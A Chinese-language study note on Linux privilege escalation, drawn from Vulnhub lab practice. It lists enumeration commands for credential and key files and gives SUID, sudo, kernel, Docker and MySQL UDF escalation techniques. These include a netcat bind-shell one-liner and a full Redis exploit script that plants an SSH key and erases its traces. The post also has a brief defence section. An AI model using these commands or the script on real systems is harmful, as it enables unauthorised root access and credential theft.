对Linux 提权的简单总结
m0nk3y@D0g3
本文为在我打了9个Vulnhub靶机后,感觉到提权操作及思路,方法有点欠缺的一篇总结性学习笔记(内容均参考自网络和个人整理,文末注明来源。若有错误之处,希望师傅们指正。
笔记基本上参考下面这篇文章(有些地方可以说是直接翻译过来的,据说是提权圣经(时间比较久远了,不过核心思想不变,非常有参考价值:https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
什么是权限
在Linux 系统中,ls -al
即可查看列出文件所属的权限。这里我用kali 系统来演示。
……
drwxr-xr-x 2 kali kali 4096 Jan 27 12:52 Downloads
-rw-r--r-- 1 root root 903 Jun 14 11:33 exp.html
-rw-r--r-- 1 root root 153600 May 5 09:42 flag
lrwxrwxrwx 1 kali kali 28 May 14 08:28 flagg -> /proc/self/cwd/flag/flag.jpg
-rw-r--r-- 1 kali kali 188 May 14 08:29 flagg.zip
-rw-r--r-- 1 root root 1807342 Apr 20 06:52 get-pip.py
drwx------ 3 kali kali 4096 Jun 18 21:35 .gnupg
-rw-r--r-- 1 root root 56 Jun 16 23:29 hash.txt
-rw-r--r-- 1 root root 12396 Jun 11 00:13 hydra.restore
-rw------- 1 kali kali 5202 Jun 18 21:35 .ICEauthority
-rw-r--r-- 1 root root 2046 Jun 10 22:58 jim_pass.txt
……
这些都代表什么意思,我们从左往右看。
-rw-r--r-- 1 root root 56 Jun 16 23:29 hash.txt
这里可以分为7个字段。
- 第一组数据
-rw-r--r--
第一位:
-
: 代表普通文件
d
:代表目录
l
:代表软链接
b
:代表块文件
c
:代表字符设备
第二及后面几位分别三个为一组:
rw-r--r--
代表文件所属的权限
r : 文件可读。w : 文件可修改。- : 表示暂时没有其他权限。x : 表示可执行
rw-
表示文件所拥有者的权限。r--
表示文件所在组的用户的权限。r--
表示其他组的用户的权限。第二组数据
1
- 如果文件类型为目录,表示目录下的字目录个数
- 如果文件类型是普通文件,这个数据就表示这个文件的硬链接个数
第三组数据
root
. 表示该文件所有者为root 用户- 第四组数据
root
. 表示该文件所在组为root 组 - 第五组数据
56
表示文件的大小为多少字节。如果为一个目录,则为4096。 - 第六组数据表示
最后一次修改时间
- 第七组数据表示文件名称
如果为目录,r 表示可以进入该目录进行查看。 w 表示文件可以进行增加。x 表示可以进入这个目录
同样的,可以用数字代替,r=4w=2x=1。
为什么提权
当成功通过80或者443端口通过web服务渗透时,常常是www-data 。无法执行root 权限下的一下命令或者读取/root 下的重要文件。这个时候就需要提权,在root 权限下,还可以通过msfvenom生成其他后门文件或者一些隐藏后门。添加用户,开启其他端口等操作,达到权限持续控制。
简单的说,就是不提权就无法完成进一步渗透。
怎么样提权
大师傅都说,渗透的本质是信息搜集。
提权也是,要进行充分的信息搜集。
提权思路:大概思路是通过信息搜集查找可利用的文件/脚本/软件/用户/内核漏洞/恶意劫持/特定平台漏洞/框架漏洞/组件/等,写入或执行恶意命令/脚本/shell/添加高权限用户,提权成功,然后进一步利用。
基础信息搜集
内核,操作系统,设备信息
uname -a 打印所有可用的系统信息 uname -r 内核版本 uname -n 系统主机名。 uname -m 查看系统内核架构(64位/32位) hostname 系统主机名 cat /proc/version 内核信息 cat /etc/*-release 分发信息 cat /etc/issue 分发信息 cat /proc/cpuinfo CPU信息 cat /etc/lsb-release # Debian cat /etc/redhat-release # Redhat ls /boot | grep vmlinuz-
用户和群组
cat /etc/passwd 列出系统上的所有用户 cat /var/mail/root cat /var/spool/mail/root cat /etc/group 列出系统上的所有组 grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户 whoami 查看当前用户 w 谁目前已登录,他们正在做什么 last 最后登录用户的列表 lastlog 所有用户上次登录的信息 lastlog –u %username% 有关指定用户上次登录的信息 lastlog |grep -v "Never" 以前登录用户的完
用户权限信息
whoami 当前用户名 id 当前用户信息 cat /etc/sudoers 谁被允许以root身份执行 sudo -l 当前用户可以以root身份执行操作
环境信息
env 显示环境变量 set 现实环境变量 echo %PATH 路径信息 history 显示当前用户的历史命令记录 pwd 输出工作目录 cat /etc/profile 显示默认系统变量 cat /etc/shells 显示可用的shellrc cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout
进程和服务
ps aux ps -ef top cat /etc/services
查看以root 运行的进程
ps aux | grep root ps -ef | grep root
查看安装的软件
ls -alh /usr/bin/ ls -alh /sbin/ ls -alh /var/cache/yum/ dpkg -l
服务/插件
检查有没有不安全的服务配置,和一些有漏洞的插件。
cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
计划任务
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
有无明文存放用户密码
grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
Vulnhub 上的靶机就体现在,通过邮件明文传输密码了,然后就可以通过ssh登陆了。进行新的信息搜集。
有无ssh 私钥
cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key
查看与当前机器通信的其他用户或者主机
lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w
日志文件
cat /var/log/boot.log cat /var/log/cron cat /var/log/syslog cat /var/log/wtmp cat /var/run/utmp cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/ Note: auth.log boot btmp daemon.log debug dmesg kern.log mail.info mail.log mail.warn messages syslog udev wtmp
交互式shell
python -c 'import pty;pty.spawn("/bin/bash")' echo os.system('/bin/bash') /bin/sh -i
可提权SUID && GUID
参考资料https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here. find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group not the user who started it. find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner not the user who started it. find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin and any other *bin for SGID or SUID (Quicker search) # find starting at root (/) SGID or SUID not Symbolic s only 3 folders deep list with more detail and hide any errors (e.g. permission denied) find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
查看可写/执行目录
find / -writable -type d 2>/dev/null # world-writeable folders find / -perm -222 -type d 2>/dev/null # world-writeable folders find / -perm -o w -type d 2>/dev/null # world-writeable folders find / -perm -o x -type d 2>/dev/null # world-executable folders find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders
查看安装过的工具
find / -name perl* find / -name python* find / -name gcc* ...
提权操作
SUID 提权
什么是suid?suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。
这里推荐 P师傅的 https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
常见的可用来提权的Linux 可执行文件有:
Nmap Vim find bash more less nano cp
查看可以suid 提权的可执行文件
find / -perm -u=s -type f 2>/dev/null
- find
ls -al /usr/bin/find
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。
比如:DC -1 靶机就是利用find 命令进行root 用户来执行命令
大部分Linux 系统都安装了nc。使用find aaa - exec netcat -lvp 5555 -e /bin/sh \;
即可成功反弹root shell
- nmap
早期nmap 具有交互模式,version 2.02~5.21(5.2.0)。这里我用sploitable2 来演示
namp -V
查看nmap 版本信息
nmap --interactive
我最喜欢的Metasploit
中就有利用 SUID nmap 提权的exp
search nmap
然后利用 exploit/unix/local/setuid_nmap
漏洞利用模块即可
5.2.0 之后,nmap 还可以通过执行脚本来提权。
# nse 脚本,shell.nse
os.execute('/bin/sh')
# nmap 提权
nmap --=shell.nse
# 在某些发行版的Linux 可能会提权失败。具体原理移步p 师傅文章
或者
echo 'os.execute("/bin/sh")' > getshell
sudo nmap --=getshell
参考DC 6 靶机:https://hack-for.fun/posts/8886.html#%E6%8F%90%E6%9D%83
- vim
如果vim 是通过SUID运行,就会继承root用户的权限。可读取只有root能读取的文件。
vim /etc/shadow
vim 运行shell
vim
:set shell=/bin/sh
:shell
同理,满足条件的 less 和 more 都可。
利用内核漏洞
比如DC 3 靶机,就是利用系统内核漏洞来进行提权。
searchsploit Ubuntu 16.04
将exp 下载下来,解压,编译,运行,即可get root 权限。
tar xvf exploit.tar
https://www.exploit-db.com/exploits/39772
还有大名鼎鼎的CVE-2016-5195,脏牛漏洞。(Linux kernel >=2.6.22 并且Android也受影响
- https://github.com/timwr/CVE-2016-5195
- https://github.com/gbonacini/CVE-2016-5195
- 复现参考:https://www.jianshu.com/p/df72d1ee1e3e
其他内核漏洞:
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) – 'overlayfs' Local Root Shell
https://www.exploit-db.com/exploits/37292/
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) – ‘overlayfs’ Local Root Exploit
https://www.exploit-db.com/exploits/39166/
Linux Kernel 4.3.3 – 'overlayfs' Local Privilege Escalation
https://www.exploit-db.com/exploits/39230/
提示:内核exploit提权有风险,有可能会崩溃系统。
利用root无密码执行
简单来说,就是一个脚本,比如pysh等或者是一个命令。这个文件可以以root身份运行,若在无密码的情况下执行的话,我们可以通过修改脚本内容/或者直接执行这个命令,利用命令来进行一些操作,来进行提权。
比如常见的:
- 写入一个root身份权限的用户进入/etc/passwd 文件中
这里以DC 4 为例子:
teehee -a
将输入的内容追加到另一个文件中
简单说下/etc/passwd
各个字段的含义:
username:password:User ID:Group ID:comment:home directory:shell
成功获取到root 权限。类似的操作还有很多,核心思想不变。
利用环境变量提权
PATH
是Linux 和 Unix 操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。
使用echo命令显示当前PATH环境变量:
如果你在PATH变量中看到.
,则意味着登录用户可以从当前目录执行二进制文件/脚本
我们先编译一个可执行文件shell。
#includevoid main() { setuid(0); setgid(0); system("cat /etc/passwd"); } // aaa.c
在给该文件赋予权限。
然后查看它的权限可以发现是有s
位,即suid。
现在我们在目标机器上用find / -perm -u=s -type f 2>/dev/null
来查看可以suid提权的文件,发现之前编译的shell可执行文件在里面。
更多的操作可以参考:https://xz.aliyun.com/t/2767
利用存在漏洞的命令
不可否认的是命令很多,我们不可能熟悉每一种命令的漏洞。不过我们每次遇到了都可以用searchsploit
来寻找可利用的exp。
这里以DC 5 靶机为例:
ls -al
:
可以通过cat 读取一下这个文件怎么用。
攻击机器开启一个http 服务:
python -m SimpleHTTPServer
将exploit 用 wget 下载到可执行的/tmp/
目录下。然后执行sh
文件。最后在/etc/
目录下执行./rootshell
即可get root shell。
还有之前爆的sudo 提权,CVE-2019-14187。只不过比较鸡肋。
Sudo 的全称是“superuserdo”,它是Linux系统管理指令,允许用户在不需要切换环境的前提下以其它用户的权限运行应用程序或命令。通常以 root 用户身份运行命令,是为了减少 root 用户的登录和管理时间,同时提高安全性。
利用前提
- sudo -v < 1.8.28
- 知道当前用户的密码
- 当前用户存在于sudo权限列表
复现参考:https://www.cnblogs.com/ethtool/p/12176730.html
利用第三方服务提权
Docker 组提权
参考文章:https://blog.csdn.net/qq_41918771/article/details/103666135
docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker
组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。
普通用户执行:即可获得root权限。
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
MySQL UDF 提权
之前在做JarivsOJ CTF 里有一个题,里面就用了UDF,那是我第一次遇到这个东西。
show variables like '%compile%'; show variables like 'plugin%';
不过这里有一个限制,show global variables like 'secure%'
secure_file_priv 没有具体的值(即能够导出/写入文件
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
MSF 中的 exploit/multi/mysql/mysql_udf_payload
漏洞利用模块可以进行UDF提权
使用 select sys_exec('whoami');
或 select sys_eval('whoami');
来执行系统命令
Redis 批量getshell
如果Redis以root身份运行,黑客可以利用Redis写入SSH公钥文件,直接通过SSH免密码登录受害服务器。Redis 默认绑定在6379端口,并且没有开启认证,在没有任何访问策略的情况下,任何人可以直接在非授权情况下直接访问Redis服务并进行相关操作。
相关利用exp:https://github.com/Xyntax/POC-T/blob/9d538a217cb480dbd1f94f1fa6c8154a41b5b106//redis-sshkey-getshell.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # project = https://github.com/Xyntax/POC-T # author = i@cdxy.me """ redis getshell expliot (ssh authorized_keys) """ import redis import paramiko from plugin.util import host2IP from plugin.util import randomString from plugin.util import checkPortTcp from paramiko.ssh_exception import SSHException public_key = 'ssh-rsa =====' private_key = """ -----BEGIN RSA PRIVATE KEY----- ===== -----END RSA PRIVATE KEY----- """ import time def poc(url): url = host2IP(url) ip = url.split(':')[0] port = int(url.split(':')[-1]) if ':' in url else 6379 try: if not checkPortTcp(ip 22): return False r = redis.Redis(host=ip port=port db=0) if 'redis_version' in r.info(): key = randomString(10) r.set(key '\n\n' + public_key + '\n\n') r.config_set('dir' '/root/.ssh') r.config_set('dbfilename' 'authorized_keys') r.save() r.delete(key) # 清除痕迹 r.config_set('dir' '/tmp') time.sleep(5) if testConnect(ip 22): return True except Exception: return False return False def testConnect(ip port=22): try: s = paramiko.SSHClient() s.load_system_host_keys() s.connect(ip port username='root' pkey=private_key timeout=10) s.close() return True except Exception e: if type(e) == SSHException: return True return False
其他……
一般情况情况下,内核漏洞或者第三方服务来提权的情况更多。
如何防止被提权
- 系统管理员要安全,准确的配置SUID执行文件。
- 一些没必要以高权限用户执行的文件,应该取消权限。
- 规避使用无密码root 执行命令,脚本等。
- 修复/升级存在已知漏洞的组件,升级操作系统版本最新版。
- Linux 2.2 之后可以为命令增加 capabilities 以p 师傅博客里的给nmap增加该属性为例。
- 升级第三方服务,修复已知漏洞
sudo setcap cap_net_rawcap_net_admincap_net_bind_service+eip /usr/bin/nmap
nmap --privileged -sS 192.168.1.1
https://man7.org/linux/man-pages/man7/capabilities.7.html
总结
通过本次学习,脑海里有了一个大概的思路,以后遇到了也不会迷惘。但是我旁边师傅给我说,靶机的提权有些在实际中根本用不到。所以,还是要灵活处理,核心思路应该是不变的吧!
相关资料
- https://blog.csdn.net/qq_43386754/article/details/85257620
- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- https://www.cnblogs.com/nul1/p/11309287.html
- https://blog.csdn.net/swty3356667/article/details/84330144
- https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
- https://www.freebuf.com/articles/system/149118.html
- https://www.hacking8.com/MiscSecNotes/linux-priv.html
- https://www.exploit-db.com/exploits/39772
- https://www.jianshu.com/p/df72d1ee1e3e
- https://blog.csdn.net/qq_27446553/article/details/80773255
- https://www.freebuf.com/articles/system/173903.html
- https://blog.csdn.net/qq_36119192/article/details/84863268